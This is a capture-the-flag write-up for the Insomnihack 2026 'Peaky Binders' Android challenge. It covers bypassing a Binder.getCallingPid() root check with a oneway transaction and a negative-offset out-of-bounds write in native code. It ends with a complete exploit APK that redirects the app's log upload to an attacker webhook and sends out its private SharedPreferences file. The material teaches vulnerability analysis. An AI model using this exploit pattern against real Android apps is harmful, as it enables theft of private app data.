Files
2026-06-12 00:36:55 +02:00

310 lines
12 KiB
Markdown

# Insomnihack 2026
## Peaky Binders
In this challenge we are given a Peaky Binders APK.
The attacker can supply an APK that is executed on the same phone as the Peaky Binders APK.
Opening the apk with jadx a package named `com.peaky.binders` is the main focus of the investigation.
The package consists of following files:
```
peaky.binders
├── AchievementAdapter.java
├── Achievement.java
├── C0842R.java
├── IPeakyService.java
├── MainActivity$$ExternalSyntheticLambda0.java
├── MainActivity$$ExternalSyntheticLambda1.java
├── MainActivity$$ExternalSyntheticLambda2.java
├── MainActivity.java
├── PeakyService.java
└── WhiskeyTastingActivity.java
```
### Triage
The app seems to be used as an Achievement Tracker:
1. Join the Shelby Family -> Enter your name to unlock
2. A true regular of the Garrison -> Visit the Garrison often
3. You've gained admin privileges -> Find the secret command
The first two achievements are trivial. For the first you have to enter a name containing `shelby`. The second requires to press a button twenty times.
The PeakyService is an exported Android Service that exposes a custom Binder interface. Through this interface, it allows external processes interact with three specific methods: `DebugCheckFile`, `isAchievmentUnlocked` and `enableDebugMode`.
The function `DebugCheckFile` unlocks the third achievement. This has to be the secret command.
```java
public void DebugCheckFile(byte[] bArr) throws RemoteException {
int callingPid = Binder.getCallingPid();
if (callingPid != 0) {
Log.d("PeakyService", "We allow a root process only: " + callingPid);
PeakyService.this.logToFile("DebugCheckFile called - rejected, PID: " + callingPid);
return;
}
Log.d("PeakyService", "Called from a root process: " + callingPid);
PeakyService.this.logToFile("DebugCheckFile called from root process - PID: " + callingPid);
//[28 lines of Code removed for clarity]
Intent intent = new Intent(PeakyService.ACTION_ACHIEVEMENT_UNLOCKED);
intent.putExtra(PeakyService.EXTRA_ACHIEVEMENT_INDEX, 2);
PeakyService.this.sendBroadcast(intent);
}
```
### Bypass the root requirement
To unlock the third achievement we have to call the method from a process with `PID = 0`.
Usually having a PID of `0` is not possible for normal user space processes.
Thankfully the Android API helps us out.
The [Android API reference](https://developer.android.com/reference/android/os/Binder#getCallingPid()) for `Binder.getCallingPid` states the following:
> Warning do not use this as a security identifier! PID is unreliable as it may be re-used. This should mostly be used for debugging. oneway transactions do not receive PID. Even if you expect a transaction to be synchronous, a misbehaving client could send it as a asynchronous call and result in a 0 PID here.
The wrongful usage of `Binder.getCallingPid` as an authorization mechanism makes the PID check trivial to pass.
```java
private void sendOnewayTransaction(byte[] payload) throws RemoteException {
Parcel data = Parcel.obtain();
data.writeInterfaceToken(TOKEN);
data.writeByteArray(payload);
// 1 = IBinder.FLAG_ONEWAY (Bypasses the PID 0 check)
peakyBinder.transact(TRANSACTION, data, null, 1);
data.recycle();
}
```
Wuhu we got the third achievement!
I hoped that the flag is then somehow shown on the screen but this was not the case.
### Further analysis
I left out 28 lines of code from `DebugCheckFile` earlier:
```java
String str = new String(bArr);
PeakyService.this.logToFile("Caller name: ".concat(str));
String[] strArrRetrieveLog = PeakyService.this.RetrieveLog(str);
if (strArrRetrieveLog != null && strArrRetrieveLog.length == 2) {
final String serverUrl = strArrRetrieveLog[0];
final String log_content = strArrRetrieveLog[1];
Log.d("PeakyService", "DEBUG serverUrl: " + serverUrl);
Log.d("PeakyService", "DEBUG logContent length: " + log_content.length());
PeakyService.this.logToFile("DEBUG serverUrl: " + serverUrl);
new Thread(new Runnable() { // from class: com.peaky.binders.PeakyService.1.1
@Override // java.lang.Runnable
public void run() {
try {
HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(serverUrl + "/logs/").openConnection();
httpURLConnection.setRequestMethod("POST");
httpURLConnection.setDoOutput(true);
httpURLConnection.setRequestProperty("Content-Type", "text/plain");
OutputStream outputStream = httpURLConnection.getOutputStream();
outputStream.write(log_content.getBytes());
outputStream.flush();
outputStream.close();
Log.d("PeakyService", "HTTP Response: " + httpURLConnection.getResponseCode());
httpURLConnection.disconnect();
} catch (Exception e) {
Log.e("PeakyService", "Failed to send logs: " + e.getMessage());
}
}
}).start();
}
```
`DebugCheckFile` sends logs to some server. The log content and the server URL come from `RetrieveLog`. This seems to be some functionality for debugging or telemetry purposes.
### Weaponizing telemetry
RetrieveLog is not in the Java code. It is defined in a separate compiled Binary named `libpeaky.so`.
```java
static {
System.loadLibrary("peaky");
debugMode = false;
}
public native String[] RetrieveLog(String str);
```
Using IDA I found out that the Java string that is passed to the function is consumed by `sscanf(callerNameCStr, "%15[^:]:%d:%c", callerTag, &partialOffset, &separatorChar)`.
By examining the callerTag comparisons in the decompiled source, I identified two valid commands: `FULL` and `PARTIAL`.
Both commands are nearly identical: each opens a file, reads its final 2048 bytes into a buffer, and returns that buffer along with a URL. The URL serves as the target to which the buffer's contents are sent as we have already seen.
The only difference is that the `PARTIAL` command additionally writes `separatorChar` into the buffer at `partialOffset` before returning.
This is the logic for writing the separator into the buffer:
```c
if ( *(_QWORD *)callerTag == 'LAITRAP' ) // If PARTIAL set separator
{
clampedOffset = partialOffset;
if ( partialOffset >= 2049 )
{
__android_log_print(3, "PeakyNative", "Offset is larger than buffer size");
clampedOffset = 2048;
}
separatorPos = (unsigned int)(2048 - clampedOffset);
__android_log_print(
3,
"PeakyNative",
"DEBUG writing separator '%c' at content[%d]",
(unsigned int)separatorChar,
2048 - clampedOffset);
g_fileBuffer[separatorPos] = separatorChar;
}
```
The vulnerability lies in the fact that both `clampedOffset` and `partialOffset` are signed integers. The upper bound check `partialOffset >= 2049` correctly rejects values that are too large, but there is no lower bound check. Negative values pass through unconstrained. When `calmpedOffset` is negative the subtraction wraps upwards.
```
2048 - (-1) = 2049
```
`g_fileBuffer[2049]` is one byte **past** the end of the buffer, which lands exactly on `g_serverUrl[0]`. More generally, to write to `g_serverUrl[i]` we need `separatorPos = 2049 + i`
```
2048 - clampedOffset = 2049 + i
clampedOffset = -(1 + i)
```
This gives an attacker byte-by-byte control over `g_serverUrl`. The same technique applies to `g_logFilePath`, which sits 65 bytes past the end of the buffer.
The relevant memory layout in .data is:
```
g_fileBuffer @ 0x39D8 (2049 bytes, ends at 0x41D8)
g_serverUrl @ 0x41D9 (64 bytes)
g_logFilePath @ 0x4219 (64 bytes)
```
By overwriting `g_serverUrl` to an attacker-controlled server and `g_logFilePath` to any file on the device an attacker can read any arbitrary file and exfiltrate data to any URL.
### Flag location
We still need to find the Flag.
At this point I remembered that the achievements are loaded on start from a file.
This indicates that the app as some form of context or environment variables.
```java
private SharedPreferences prefs;
private static final String PREFS_NAME = "PeakyPrefs";
protected void onCreate(Bundle bundle) {
...
this.prefs = getSharedPreferences(PREFS_NAME, 0);
...
loadProgress();
}
private void loadProgress() {
this.whiskeyClicks = this.prefs.getInt(KEY_WHISKEY_CLICKS, 0);
if (this.prefs.getBoolean(KEY_ACHIEVEMENT_1, false)) {
this.achievements.get(0).setUnlocked(true);
}
if (this.prefs.getBoolean(KEY_ACHIEVEMENT_2, false)) {
this.achievements.get(1).setUnlocked(true);
}
if (this.prefs.getBoolean(KEY_ACHIEVEMENT_3, false)) {
this.achievements.get(2).setUnlocked(true);
}
this.adapter.notifyDataSetChanged();
}
```
I asked Claude where these SharedPreferences are stored.
It told me that the standard path is `/data/data/<package_name>/shared_prefs/<PREFS_NAME>.xml`.
### Writing the Exploit
This challenge is special to me because we are not given a url with a port by the organizers to attack but a portal where we can upload APKs.
As I never wrote an APK before and had no Idea how to handle IPC on Android I generated the following exploit with Claude.
It feels a bit filthy but trying to first blood the challenge made me rush.
In summary the malicious APK overwrites the webhook URL and the filepath byte per byte and triggers a full read at the end.
To circumvent the `PID == 0` check the `sendOnewayTransaction` function from above is used.
```java
package com.hacker.exploit;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.os.Bundle;
import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;
import android.util.Log;
public class MainActivity extends Activity {
private static final String TAG = "Exploit";
private IBinder peakyBinder;
private static final String WEBHOOK_URL = "<WEBHOOK_URL>";
private static final String TARGET = "/data/data/com.peaky.binders/shared_prefs/PeakyPrefs.xml";
private ServiceConnection connection = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
Log.d(TAG, "Connected to PeakyService!");
peakyBinder = service;
new Thread(() -> runExploit()).start();
}
@Override
public void onServiceDisconnected(ComponentName name) {
Log.d(TAG, "Disconnected!");
}
};
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Log.d(TAG, "Starting exploit app");
Intent intent = new Intent();
intent.setClassName("com.peaky.binders", "com.peaky.binders.PeakyService");
bindService(intent, connection, Context.BIND_AUTO_CREATE);
}
private void runExploit() {
try {
Log.d(TAG, "Overwriting Webhook URL");
for (int i = 0; i < WEBHOOK_URL.length(); i++) {
sendOnewayTransaction(("PARTIAL:" + (-(1 + i)) + ":" + WEBHOOK_URL.charAt(i)).getBytes());
Thread.sleep(50);
}
// separatorChar defaults to 0x00
sendOnewayTransaction(("PARTIAL:" + (-(1 + WEBHOOK_URL.length())) + ":").getBytes());
for (int i = 0; i < TARGET.length(); i++) {
sendOnewayTransaction(("PARTIAL:" + (-(65 + i)) + ":" + TARGET.charAt(i)).getBytes());
Thread.sleep(50);
}
Log.d(TAG, "Exploit sent! Check your webhook.");
} catch (Exception e) {
Log.e(TAG, "Exploit failed", e);
}
}
private void sendOnewayTransaction(byte[] payload) throws RemoteException {
Parcel data = Parcel.obtain();
data.writeInterfaceToken("com.peaky.binders.IPeakyService");
data.writeByteArray(payload);
// 1 = TRANSACTION_DebugCheckFile
// 1 = IBinder.FLAG_ONEWAY (Bypasses the PID 0 check!)
peakyBinder.transact(1, data, null, 1);
data.recycle();
}
}
```
### Conclusion
I am happy that the flag was indeed stored at `/data/data/com.peaky.binders/shared_prefs/PeakyPrefs.xml`. At the time I had no further ideas where the flag could be hidden.
This challenge was a lot of fun and showed once again how important it is to use APIs only for their intended purpose especially when they are used to implement a security measure.